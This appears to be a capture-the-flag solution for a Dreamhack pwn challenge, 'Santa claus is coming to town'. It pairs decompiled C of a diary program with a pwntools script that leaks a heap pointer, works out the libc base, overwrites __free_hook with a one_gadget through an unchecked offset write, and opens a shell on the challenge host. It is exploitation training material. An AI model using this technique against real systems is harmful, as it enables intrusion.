721 - Santa claus is coming to town

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-1B8h] BYREF
  int v4; // [rsp+Ch] [rbp-1B4h]
  __int64 v5; // [rsp+10h] [rbp-1B0h] BYREF
  __int64 v6; // [rsp+18h] [rbp-1A8h] BYREF
  int s[102]; // [rsp+20h] [rbp-1A0h] BYREF
  unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v3 = 0;
  v4 = 0;
  v5 = 0LL;
  v6 = 0LL;
  memset(s, 0, 400uLL);
  intro();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = 0;
      __isoc99_scanf("%d", &v3);
      if ( v3 == 2 )
        break;
      if ( v3 == 3 )
      {
        if ( (unsigned int)santa_came(s) )
        {
          puts("Santa Claus : Oh... You're such an honest kid.");
          puts("Santa Claus : Tell me if you have any memories you want to change and erase in this year.");
          v4 = check_offset();
          if ( !v4 )
            exit(0);
          printf("what line you edit : ");
          __isoc99_scanf("%ld", &v6);
          if ( v6 < 0 )
          {
            puts("Wrong input");
            exit(0);
          }
          printf("Change memories to : ");
          read(0, (void *)(16 * (v6 - 1) + *(_QWORD *)&s[4 * v4 + 2]), 0x10uLL);
          free(*(void **)&s[4 * v4 + 2]);
          exit(0);
        }
        puts("Santa Claus just left...");
        exit(0);
      }
      if ( v3 == 1 )
      {
        v4 = check_offset();
        if ( v4 )
        {
          if ( v4 == s[4 * v4] )
          {
            puts("You already wrote.");
          }
          else
          {
            s[4 * v4] = v4;
            printf("How many lines will to write? (1 line = 16 words) : ");
            __isoc99_scanf("%ld", &v5);
            s[4 * v4 + 1] = v5;
            *(_QWORD *)&s[4 * v4 + 2] = malloc(16 * v5);
            puts("\n~~~~~~~~~~contents~~~~~~~~~~");
            read(0, *(void **)&s[4 * v4 + 2], 16 * v5 - 1);
          }
        }
      }
      else
      {
        puts("Wrong input");
      }
    }
    v4 = check_offset();
    if ( v4 )
    {
      if ( s[4 * v4] )
      {
        printf("\nPages : %p\n", *(const void **)&s[4 * v4 + 2]);
        printf("Contents : %s", *(const char **)&s[4 * v4 + 2]);
      }
      else
      {
        puts("You haven't written yet.");
      }
    }
  }
}
// 920: using guessed type __int64 __isoc99_scanf(const char *, ...);
// A80: using guessed type __int64 __fastcall init(_QWORD, _QWORD, _QWORD);
// AFC: using guessed type __int64 check_offset(void);
// B91: using guessed type __int64 __fastcall santa_came(_QWORD);
// C07: using guessed type __int64 intro(void);
// C91: using guessed type __int64 print_menu(void);
// CD9: using guessed type _DWORD s[102];

//----- (00000000000010C0) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
  signed __int64 v4; // rbp
  __int64 i; // rbx

  v4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;
  init_proc();
  if ( v4 )
  {
    for ( i = 0LL; i != v4; ++i )
      ((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);
  }
}

#!/usr/bin/env python3

from pwn import *

exe = ELF("santa_coming_to_town_patched")
libc = ELF("libc-2.27.so")
ld = ELF("ld-2.27.so")

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

pa = lambda text, addr: print(text, hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "host3.dreamhack.games"
        port = 10078
        return remote(host, port)

p = conn()

def write_diary(offset, lines, content):
    slan(p, b'>>', 1)
    slan(p, b'date', offset)
    slan(p, b'to write?', lines)
    sla(p, b'contents', content)

def read_diary(offset):
    slan(p, b'>>', 2)
    slan(p, b'date', offset)

for i in range(2, 26):
    write_diary(i, 1, b'A')

write_diary(1, 4096 * 50, b'A')

read_diary(1)

ru(p, b'Pages : ')
heap_leak = leak_hex(rn(p, 14))
pa("heap leak", heap_leak)

libc.address = heap_leak + 0x320ff0
pa("libc base", libc.address)

free_hook = heap_leak + 16 * (0x70e8e - 1)
pa("free hook", free_hook)

slan(p, b'>>', 3)
slan(p, b'date', 1)
slan(p, b'edit', 0x70e8e)
sla(p, b'memories', b'A' * 8 + p64(libc.address + 0x4f302))

ia(p)